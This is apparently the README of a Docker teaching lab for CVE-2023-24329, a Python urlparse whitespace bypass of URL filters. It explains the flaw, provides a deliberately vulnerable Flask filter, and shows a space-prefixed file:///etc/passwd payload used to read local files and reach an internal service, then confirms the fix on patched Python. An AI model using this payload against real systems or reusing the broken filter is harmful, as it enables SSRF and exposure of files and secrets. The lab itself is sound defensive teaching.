
Educational use only. This lab exists to demonstrate a real vulnerability in a safe, isolated environment. Never run this against systems you do not own. Never reuse the intentionally broken filter code in any production system.
A self-contained Docker lab demonstrating CVE-2023-24329 — a parser differential in Python's urllib.parse.urlparse() that allows bypass of URL scheme and host filters on Python < 3.11.4.
The lab shows an API that explicitly blocks file:// URLs and internal hostnames being tricked into reading /etc/passwd from its own container and hitting a private internal service — then proves the same exploit fails on patched Python.
Python's urlparse() and the underlying HTTP/file fetchers disagree on how to handle URLs with leading whitespace. On affected versions:
from urllib.parse import urlparse
urlparse(" file:///etc/passwd").scheme # → "" (empty — filter passes)
urlparse(" file:///etc/passwd").hostname # → None (empty — filter passes)
But urllib.request.urlopen(" file:///etc/passwd") strips the space and fetches file:///etc/passwd anyway.
That gap between what the parser sees and what the fetcher does — that is the vulnerability.
Python 3.11.4 fixed this by stripping leading whitespace/control characters before parsing, closing the gap.
Four services on an isolated Docker bridge network (cve-lab-net):
internal-service has no host port mapping — it is reachable only from inside the Docker network, simulating a real trust boundary.
git clone <repo-url>
cd CVE-2023-24329-lab
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python exploit.py baseline

docker compose -f docker-compose.vulnerable.yml exec attacker python exploit.py exploit

docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python exploit.py verify

docker compose -f docker-compose.fixed.yml down
CVE-2023-24329-lab/
├── docker-compose.vulnerable.yml # Python 3.11.3 (affected)
├── docker-compose.fixed.yml # Python 3.11.4 (patched)
├── vulnerable-api/
│ ├── app.py # Flask API with the naive filter
│ ├── requirements.txt
│ └── Dockerfile
├── internal-service/
│ ├── app.py # Fake internal metadata endpoint
│ ├── requirements.txt
│ └── Dockerfile
└── attacker/
├── exploit.py # Demo driver (baseline / exploit / verify)
├── requirements.txt
└── Dockerfile
The vulnerable and fixed API services share the same source code — only the base image Python version differs. This is the key scientific-control property of the lab.
The vulnerable API filter (simplified):
parsed = urllib.parse.urlparse(url)
if parsed.scheme.lower() in {"file", "gopher", "ftp", "data"}:
return 403 # blocked
if parsed.hostname in {"localhost", "127.0.0.1", "internal-service"}:
return 403 # blocked
urllib.request.urlopen(url) # fetch the original, unmodified string
The bypass payload is a single leading space:
file:///etc/passwd
^
space (0x20)
On Python ≤ 3.11.3, urlparse sees an empty scheme and no hostname → filter passes. urlopen strips the space → fetches file:///etc/passwd.
On Python ≥ 3.11.4, urlparse strips the space first → correctly sees scheme=file → filter blocks with 403.
CPython issue #102153 — the fix strips C0 control characters and spaces from the start of the URL before parsing. After the patch both the parser and the fetcher agree on what the URL is, so the filter cannot be bypassed this way.
The correct defensive pattern regardless of Python version:
# Parse → reconstruct from parts → pass the rebuilt URL downstream.
# Both the filter and the fetcher then operate on the same string.
parsed = urllib.parse.urlparse(url)
safe_url = parsed.geturl() # rebuilt from components
urllib.request.urlopen(safe_url)
${jndi:...} bypasses.internal-service ports to the host.vulnerable-api/app.py is deliberately broken for teaching purposes — do not copy it into any real system.MIT — free to use, share, and adapt for educational purposes with attribution.
| Beat | What you see | What it teaches |
|---|
| 1 — Baseline | file:///etc/passwd → 403 blocked scheme | The filter looks reasonable |
| 2 — Exploit | Same URL with a space prefix → 200 + contents of /etc/passwd and internal secret | One space defeats the entire filter |
| 3 — Patch | Same payload against Python 3.11.4 → 403 blocked | Patched urlparse strips whitespace first; filter catches it correctly |
| Service | Python version | Role | Host port |
|---|
vulnerable-api | 3.11.3 | Target API with naive URL filter | 8000 |
fixed-api | 3.11.4 | Same code, patched interpreter | 8000 |
internal-service | 3.12 | Fake internal metadata endpoint | none |
attacker | 3.12 | Exploit driver | none |